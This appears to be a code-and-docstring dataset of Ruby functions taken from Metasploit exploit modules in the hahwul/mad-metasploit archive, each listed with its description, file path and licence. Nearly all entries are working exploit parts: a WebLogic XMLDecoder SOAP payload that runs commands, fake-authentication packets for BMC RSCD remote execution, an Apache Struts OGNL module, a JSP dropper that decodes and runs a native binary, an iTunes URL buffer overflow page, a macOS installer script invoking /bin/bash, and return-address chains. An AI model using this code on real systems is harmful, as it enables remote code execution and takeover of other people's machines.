login/login
login/login-page
login_mgr
luci
main
main-cgi
manage/login
menu
mlogin
netbinary
nobody/Captcha
nobody/VerifyCode
normal_userLogin
otgw
page
rulectl
service
set_new_config
sl_webviewer
ssi
status
sysconf
systemutil
t/out
top
unauth
upload
variable
wanstatu
webcm
webmain
webproc
webscr
webviewLogin
webviewLogin_m64
webviewer
welcome
cgitest
^
if datastore['TARGET_URI'].to_s.length > 0
target_uris << datastore['TARGET_URI']
end
common_dirs.each do |cgi_dir|
common_cgis.each do |cgi_path|
common_exts.each do |cgi_ext|
target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
end
end
end
print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")
target_uris.each do |uri|
if is_cgi_exploitable?(uri)
print_good("Exploitable CGI located at #{uri}")
return uri
end
end
print_error("No valid CGI endpoints identified")
return
end
|
Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
|
find_target_cgi
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43877.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43877.rb
|
MIT
|
def is_cgi_exploitable?(uri)
res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})
if res
vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
else
vprint_status("Request for #{uri} did not return a response")
end
!!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
end
|
Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
|
is_cgi_exploitable?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43877.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43877.rb
|
MIT
|
def is_cgi_enabled?
return true
res = send_request_cgi({'uri' => "/cgi-bin"})
!!(res && res.body && res.body.to_s.include?("Missing CGI name"))
end
|
This sometimes determines if the CGI module is enabled, but doesn't seem
to return the error to the client in newer versions. Unused for now.
|
is_cgi_enabled?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43877.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43877.rb
|
MIT
|
def exploit_process_builder_payload
# Generate a payload which will execute on a *nix machine using /bin/sh
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>#{cmd_base}</string>
</void>
<void index="1">
<string>#{cmd_opt}</string>
</void>
<void index="2">
<string>#{payload.encoded.encode(xml: :text)}</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>}
end
|
This generates a XML payload that will execute the desired payload on the RHOST
|
exploit_process_builder_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43924.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43924.rb
|
MIT
|
def check_process_builder_payload
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>#{get_uri.encode(xml: :text)}</string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>}
end
|
This builds a XML payload that will generate a HTTP GET request to our SRVHOST
from the target machine.
|
check_process_builder_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43924.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43924.rb
|
MIT
|
def on_request_uri(cli, request)
random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'
send_response(cli, random_content)
@received_request = true
end
|
In the event that a 'check' host responds, we should respond randomly so that we don't clog up
the logs too much with a no response error or similar.
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43924.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43924.rb
|
MIT
|
def exploit
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => exploit_process_builder_payload,
'ctype' => 'text/xml;charset=UTF-8'
}, datastore['TIMEOUT'])
end
|
The exploit method connects to the remote service and sends a randomly generated string
encapsulated within a SOAP XML body. This will start an HTTP server for us to receive
the response from. This is based off of the exploit technique from
exploits/windows/novell/netiq_pum_eval.rb
This doesn't work as is because MSF cannot mix HttpServer and HttpClient
at the time of authoring this
def check
start_service
print_status('Sending the check payload...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => check_process_builder_payload,
'ctype' => 'text/xml;charset=UTF-8'
}, datastore['TIMEOUT'])
print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
waited = 0
until @received_request
sleep 1
waited += 1
if waited > datastore['HTTP_DELAY']
stop_service
return Exploit::CheckCode::Safe
end
end
stop_service
return Exploit::CheckCode::Vulnerable
end
The exploit method connects to the remote service and sends the specified payload
encapsulated within a SOAP XML body.
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43924.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43924.rb
|
MIT
|
def execute_command(command, opts = {})
if opts[:flavor] == :vbs
if command.start_with?('powershell') == false
if command.start_with?('cmd') == false
send_nexec_request('cmd /c ' + command, false)
return
end
end
end
send_nexec_request(command, false)
end
|
Execute a command but don't print output
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43939.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43939.rb
|
MIT
|
def send_nexec_request(command, show_output)
# Connect and auth
vprint_status('Connecting to RSCD agent and sending fake auth.')
connect_to_rscd
send_fake_nexec_auth
# Generate and send the payload
vprint_status('Sending command to execute.')
sock.put(generate_cmd_pkt(command))
# Finish the nexec request
sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \
"\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \
"\x35\x38\x3b\x32\x34\x38\x35\x31")
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
"\x30\x30\x30\x30\x32\x65\x7f")
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
"\x30\x30\x30\x30\x32\x69\x03")
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
"\x30\x30\x30\x30\x32\x74\x31")
sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \
"\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \
"\x34\x31")
sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \
"\x30\x30\x30\x30\x31\x7a")
# Get the response from the RSCD agent and disconnect
vprint_status('Reading response from RSCD agent.')
res = read_cmd_output
if show_output == true
if res && res[0] == 1
print_good("Output\n" + res[1])
else
print_warning('Command execution failed, the command may not exist.')
vprint_warning("Output\n" + res[1])
end
end
disconnect
end
|
Connect to the RSCD agent and execute a command via nexec
|
send_nexec_request
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43939.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43939.rb
|
MIT
|
def send_agentinfo_request
# Connect and send fake auth
vprint_status('Connecting to RSCD agent and sending fake auth.')
connect_to_rscd
send_fake_agentinfo_auth
# Send agentinfo request, read the response, and disconnect
vprint_status('Requesting agent information.')
sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \
"\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \
"\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \
"\x31\x30\x30\x30\x30\x30\x30\x30\x30")
res = sock.get_once
disconnect
# Return the platform field from the response if it looks valid
res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0
return [1, res.split(';')[4]] if res &&
res.split(';').length > 6 &&
res.length == (res_len + 4)
# Invalid or unexpected response format, return the complete response
[0, res]
end
|
Attempt to retrieve RSCD agent info and return the platform string
|
send_agentinfo_request
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43939.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43939.rb
|
MIT
|
def connect_to_rscd
connect
sock.put('TLS')
sock.extend(Rex::Socket::SslTcp)
sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
sock.sslctx.options = OpenSSL::SSL::OP_ALL
sock.sslctx.ciphers = 'ALL'
sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
sock.sslsock.connect
end
|
Connect to the target and upgrade to an encrypted connection
|
connect_to_rscd
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43939.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43939.rb
|
MIT
|
def send_fake_agentinfo_auth
sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \
"\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \
"\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \
"\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \
"\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \
"\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) +
"\x3b\x55\x54\x46\x2d\x38")
sock.get_once
end
|
Send fake agentinfo auth packet and ignore the response
|
send_fake_agentinfo_auth
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43939.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43939.rb
|
MIT
|
def send_fake_nexec_auth
sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \
"\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \
"\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \
"\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \
"\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \
"\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \
"\x54\x46\x2d\x38")
sock.get_once
end
|
Send fake nexec auth packet and ignore the response
|
send_fake_nexec_auth
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43939.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43939.rb
|
MIT
|
def pad_number(num)
format('%08x', num)
end
|
Convert the given number to a hex string padded to 8 chars
|
pad_number
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43939.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43939.rb
|
MIT
|
def read_cmd_output
all_output = ''
response_done = false
# Read the entire response from the RSCD service
while response_done == false
# Read a response chunk
chunk = sock.get_once
next unless chunk && chunk.length > 4
chunk_len = chunk[0..3].unpack('N')[0]
chunk = chunk[4..chunk.length]
chunk += sock.get_once while chunk.length < chunk_len
# Check for the "end of output" chunk
if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \
"\x61\x30\x30\x30\x30\x30\x30" \
"\x30\x32\x78")
# Response has completed
response_done = true
elsif all_output == ''
# Keep the first response chunk as-is
all_output += chunk
# If the command failed, we're done
response_done = true unless all_output[8..15].to_i(16) != 1
else
# Append everything but the length fields to the output buffer
all_output += chunk[17..chunk.length]
end
end
# Return output if response indicated success
return [1, all_output[26..all_output.length]] if
all_output &&
all_output.length > 26 &&
all_output[8..15].to_i(16) == 1
# Return nothing if there isn't enough data for error output
return [0, ''] unless all_output && all_output.length > 17
# Get the length of the error output and return the error
err_len = all_output[8..15].to_i(16) - 1
[0, all_output[17..17 + err_len]]
end
|
Read the command output from the server
|
read_cmd_output
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43939.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43939.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
],
'Privileged' => false,
'Targets' => [
[
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
},
],
],
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
]
)
end
|
Eschewing CmdStager for now, since the use of '\' and ';' are killing me
include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/45367.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/45367.rb
|
MIT
|
def sock_rw_str(sock, msg_str)
sock_rw(sock, str_unpack(msg_str))
end
|
write strings directly to socket; each 2 string chars are a byte
|
sock_rw_str
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/48273.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/48273.rb
|
MIT
|
def sock_rw(sock, msg, ignore = false, wait = 0)
sock.write(msg.pack('C*'))
if not ignore
sleep(wait)
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
bytes = sock.read(recv_sz-2).unpack('H*')[0]
bytes
end
end
|
write array to socket and get result
wait should also be implemented in msf
|
sock_rw
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/48273.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/48273.rb
|
MIT
|
def obj_extract(res)
arr = str_unpack(res)
# ignore packet header (4 bytes)
arr.shift(PKT_HDR.length)
if arr[0] == 5
# this is an object, get the type (1 byte) plus the object bytes (9 bytes)
obj = Array.new
obj = arr[0..9]
obj
end
end
|
extracts the first object from a server response
|
obj_extract
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/48273.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/48273.rb
|
MIT
|
def stradd(str, type = 0xe)
arr = [ type ] # string type
arr += pack_sz(str.length)
arr += str.unpack('C*')
arr
end
|
adds a string to a packet
C string = 0x2; utf string = 0xe; binary = 0xf
|
stradd
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/48273.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/48273.rb
|
MIT
|
def datapack(data)
arr = []
data.chars.each do |d|
arr << d.ord
end
arr
end
|
packs binary data into an array
|
datapack
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/48273.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/48273.rb
|
MIT
|
def get_auth(data)
# make it into an array
data = str_unpack(data)
if data.length > 13
# skip 13 bytes (header + array indicator + index indicator)
data.shift(13)
# fetch the auth method byte
data[0]
end
end
|
This fetches the current IntegratedSecurityMode from a packet such as
0000ffff070000000203000000 01 07000000020e00000e0000 (1)
0000ffff070000000203000000 02 07000000020e00000e00084b65726265726f73 (2)
0000ffff070000000203000000 06 07000000010e0000 (6)
|
get_auth
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/48273.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/48273.rb
|
MIT
|
def generate_jsp_encoded(files)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = rand_text_alpha(rand(8) + 3)
var_ostream = rand_text_alpha(rand(8) + 3)
var_buf = rand_text_alpha(rand(8) + 3)
var_decoder = rand_text_alpha(rand(8) + 3)
var_tmp = rand_text_alpha(rand(8) + 3)
var_path = rand_text_alpha(rand(8) + 3)
var_proc2 = rand_text_alpha(rand(8) + 3)
var_files = rand_text_alpha(rand(8) + 3)
var_ch = rand_text_alpha(rand(8) + 3)
var_istream = rand_text_alpha(rand(8) + 3)
var_file = rand_text_alpha(rand(8) + 3)
files_decl = "{ "
files.each { |file| files_decl << "\"#{file}\"," }
files_decl[-1] = "}"
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
String[] #{var_files} = #{files_decl};
try {
int #{var_ch};
StringBuilder #{var_buf} = new StringBuilder();
for (String #{var_file} : #{var_files}) {
BufferedInputStream #{var_istream} =
new BufferedInputStream(new FileInputStream(#{var_file}));
while((#{var_ch} = #{var_istream}.read())!= -1)
#{var_buf}.append((char)#{var_ch});
#{var_istream}.close();
}
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
if @my_target['Database'] == 'postgresql'
# Ruby's base64 encoding adds newlines at every 60 chars, strip them
[jsp].pack("m*").gsub(/\n/, '')
else
# Assuming mysql, applying hex encoding instead
jsp.unpack("H*")[0]
end
end
|
Creates the JSP that will assemble the payload on the server
|
generate_jsp_encoded
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/webapps/34409.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/webapps/34409.rb
|
MIT
|
def is_app_metweblog?
begin
res = send_request_cgi(
{
'uri' => '/html/en/index.html',
'method' => 'GET'
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
return true
else
print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
return false
end
end
|
Check if App is Meteocontrol WEBlog
|
is_app_metweblog?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/webapps/39822.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/webapps/39822.rb
|
MIT
|
def check
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
sudo_vn = $1
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
# check vn between 1.6.0 through 1.7.10p6
# and 1.8.0 through 1.8.6p6
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
print_error "sudo version #{sudo_vn} not vulnerable."
return Exploit::CheckCode::Safe
end
else
print_error "sudo not detected on the system."
return Exploit::CheckCode::Safe
end
if not user_in_admin_group?
print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
Exploit::CheckCode::Safe
end
# one root for you sir
Exploit::CheckCode::Vulnerable
end
|
ensure target is vulnerable by checking sudo vn and checking
user is in admin group.
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/local/27944.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/local/27944.rb
|
MIT
|
def user_in_admin_group?
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
end
|
checks that the user is in OSX's admin group, necessary to change sys clock
|
user_in_admin_group?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/local/27944.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/local/27944.rb
|
MIT
|
def generate_itms_page(p)
# Set the base itms url.
# itms:// or itmss:// can be used. The trailing colon is used
# to start the attack. All data after the colon is copied to the
# stack buffer.
itms_base_url = "itms://:"
itms_base_url << rand_text_alpha(268) # Fill up the real buffer
itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp
itms_base_url << target['Addr'] # hullo there, jmp *%ecx!
# The first '/' in the buffer will terminate the copy to the stack buffer.
# In addition, $ecx will be left pointing to the last 6 bytes of the heap
# buffer containing the full URL. However, if a colon and a ? occur after
# the value in ecx will point to that point in the heap buffer. In our
# case, it will point to the beginning. The ! is there to make the
# alphanumeric shellcode execute easily. (This is why we need an offset
# of 3 in the payload).
itms_base_url << "/:!?" # Truncate the stack buffer overflow and prep for payload
itms_base_url << p # Wooooooo! Payload time.
# We drop on a few extra bytes as the last few bytes can sometimes be
# corrupted.
itms_base_url << rand_text_alpha(4)
# Use the pattern creator to simplify exploit creation :)
# itms_base_url << Rex::Text.pattern_create(1024,
# Rex::Text::DefaultPatternSets)
# Return back an example URL. Using an iframe doesn't work with all
# browsers, but that's easy enough to fix if you need to.
return String(<<-EOS)
<html><head><title>iTunes loading . . .</title></head>
<body>
<script>document.location.assign("#{itms_base_url}");</script>
<p>iTunes should open automatically, but if it doesn't, click to
<a href="#{itms_base_url}">continue</a>.</p>a
</body>
</html>
EOS
end
|
Generate distribution script, which calls our payload using JavaScript.
|
generate_itms_page
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/16296.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/16296.rb
|
MIT
|
def encode_payload(payload)
encoded = payload.gsub(/[&<>"']/) do |s|
case s
when '&'
"&"
when '<'
"<"
when '>'
">"
when '"'
'"+\'"\'+"'
when '\''
"'"
end
end
return '"' + encoded + '"'
end
|
Encode some characters using character entity references and escape any
quotation characters, by splitting the string into multiple parts.
|
encode_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/16867.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/16867.rb
|
MIT
|
def generate_catalog(server)
languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
distfile = rand_text_alpha(8) + ".dist"
sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
sucatalog << '<plist version="1.0">'
sucatalog << '<dict>'
sucatalog << '<key>Products</key><dict>'
sucatalog << "<key>#{productkey}</key><dict>"
sucatalog << '<key>Distributions</key><dict>'
languages.each do |l|
sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
end
sucatalog << '</dict></dict></dict></dict></plist>'
return sucatalog
end
|
Generate the initial catalog file with references to the
distribution script, which does the actual exploitation.
|
generate_catalog
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/16867.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/16867.rb
|
MIT
|
def generate_dist(payload)
func = rand_text_alpha(8)
dist = '<?xml version="1.0" encoding="UTF-8"?>'
dist << "<installer-gui-script minSpecVersion='1'>"
dist << '<options allow-external-scripts = "yes"/>'
dist << "<choices-outline ui='SoftwareUpdate'>"
dist << "<line choice='su'/>"
dist << "</choices-outline>"
dist << "<choice id='su' visible ='#{func}()'/>"
dist << "<script>"
dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
dist << "</script>"
dist << "</installer-gui-script>"
return dist
end
|
Generate distribution script, which calls our payload using JavaScript.
|
generate_dist
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/16867.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/16867.rb
|
MIT
|
def exploit
connect
# The offset to the return address is dependent on the length of our hostname
# as the target system resolves it ( IP or reverse DNS ).
mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
basel = 285 - mhost.length
print_status("Trying target #{target.name}...")
# ret = 296
# r25 = 260
# r26 = 264
# r27 = 268
# r28 = 272
# r29 = 276
# r30 = 280
# r31 = 284
# r1+120 = 408
buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
buf[basel , 4] = [ target['Rets'][1] ].pack('N') # getgid()
buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
buf << payload.encoded
send_cmd( ['USER', buf] , true )
send_cmd( ['HELP'] , true )
handler
disconnect
end
|
crazy dino 5-hop foo
$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
$r28 = pack('N', 0x90034d60); # getgid()
$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
$r30 = pack('N', 0x90023590); # call $r3
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/16872.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/16872.rb
|
MIT
|
def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
jmp_eax = target['jmp_eax']
exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end
|
#####
XXX: This does not work on Tiger apparently
|
make_exec_payload_from_heap_stub
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/16873.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/16873.rb
|
MIT
|
def ppc_byteswap(addr)
data = [addr].pack('N')
(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
end
|
